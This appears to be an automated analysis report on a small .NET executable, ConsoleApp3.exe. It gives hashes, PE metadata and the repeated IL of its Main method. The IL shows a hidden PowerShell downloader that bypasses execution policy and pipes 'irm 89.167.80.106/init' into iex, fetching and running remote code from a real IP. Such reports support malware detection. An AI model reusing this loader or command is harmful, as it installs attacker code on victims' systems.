Symbol Obfuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 052504d620d901b9c68dbf1d159f4e68
|
| Sha1 | 104aef9a41fbc6a3c4f257c52564cde723a7eba7
|
| Sha256 | 5ff40ae515caa482c04d44ac0078e3ea85917129d473b01b9ee9caf0c0cfbb4d
|
| Sha384 | 5db309089b735e4604840771179ffb69563a12035dc6e5221a098beee2e388f44c7dbb4eb681b536f7ccb1cb84fc3aec
|
| Sha512 | 422bc76736d7f6b706322186de576aa3d04d511849dab276de43de648a2bfe635807d47ee5d47e96277f7de16bf4c7eff7ec6712570a93f9464f943bc32fce39
|
| SSDeep | 48:646c9fLFXFnJzwPhi5DUs8LhIBo7hYIMhRBCBq3X9rl4B2qBHyJKiZ54tdt8Ulr6:FLFt65OD78FH7eBCyr+wkaKpOOzNt
|
| TLSH | EFC19412A3E88636DD724B31ECB713400A74F710DD5B9F2D78C5930B7D122588A63FA2
|
PeID
|
Name | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Info | PDB Path: C:\Users\Administrator\source\repos\ConsoleApp3\ConsoleApp3\obj\Release\ConsoleApp3.pdb |
| Module Name | ConsoleApp3.exe |
| Full Name | ConsoleApp3.exe |
| EntryPoint | System.Void Program::Main() |
| Scope Name | ConsoleApp3.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | ConsoleApp3 |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | .NETFramework,Version=v4.0 |
| Total Strings | 3 |
| Main Method | System.Void Program::Main() |
| Main IL Instruction Count | 72 |
| Main IL | nop <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr powershell.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardInput(System.Boolean) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) nop <null> stloc.0 <null> newobj System.Void System.Diagnostics.Process::.ctor() dup <null> ldloc.0 <null> callvirt System.Void System.Diagnostics.Process::set_StartInfo(System.Diagnostics.ProcessStartInfo) nop <null> stloc.1 <null> nop <null> ldloc.1 <null> callvirt System.Boolean System.Diagnostics.Process::Start() pop <null> ldloc.1 <null> callvirt System.IO.StreamWriter System.Diagnostics.Process::get_StandardInput() stloc.2 <null> nop <null> ldloc.2 <null> ldstr Set-ExecutionPolicy -Scope CurrentUser Bypass callvirt System.Void System.IO.TextWriter::WriteLine(System.String) nop <null> ldloc.2 <null> ldstr irm 89.167.80.106/init|iex callvirt System.Void System.IO.TextWriter::WriteLine(System.String) nop <null> ldloc.2 <null> callvirt System.Void System.IO.TextWriter::Close() nop <null> nop <null> leave.s IL_008E: leave.s IL_009B ldloc.2 <null> brfalse.s IL_008D: endfinally ldloc.2 <null> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> leave.s IL_009B: ret ldloc.1 <null> brfalse.s IL_009A: endfinally ldloc.1 <null> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> ret <null> |
| Module Name | ConsoleApp3.exe |
| Full Name | ConsoleApp3.exe |
| EntryPoint | System.Void Program::Main() |
| Scope Name | ConsoleApp3.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | ConsoleApp3 |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | .NETFramework,Version=v4.0 |
| Total Strings | 3 |
| Main Method | System.Void Program::Main() |
| Main IL Instruction Count | 72 |
| Main IL | nop <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr powershell.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardInput(System.Boolean) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) nop <null> stloc.0 <null> newobj System.Void System.Diagnostics.Process::.ctor() dup <null> ldloc.0 <null> callvirt System.Void System.Diagnostics.Process::set_StartInfo(System.Diagnostics.ProcessStartInfo) nop <null> stloc.1 <null> nop <null> ldloc.1 <null> callvirt System.Boolean System.Diagnostics.Process::Start() pop <null> ldloc.1 <null> callvirt System.IO.StreamWriter System.Diagnostics.Process::get_StandardInput() stloc.2 <null> nop <null> ldloc.2 <null> ldstr Set-ExecutionPolicy -Scope CurrentUser Bypass callvirt System.Void System.IO.TextWriter::WriteLine(System.String) nop <null> ldloc.2 <null> ldstr irm 89.167.80.106/init|iex callvirt System.Void System.IO.TextWriter::WriteLine(System.String) nop <null> ldloc.2 <null> callvirt System.Void System.IO.TextWriter::Close() nop <null> nop <null> leave.s IL_008E: leave.s IL_009B ldloc.2 <null> brfalse.s IL_008D: endfinally ldloc.2 <null> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> leave.s IL_009B: ret ldloc.1 <null> brfalse.s IL_009A: endfinally ldloc.1 <null> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> ret <null> |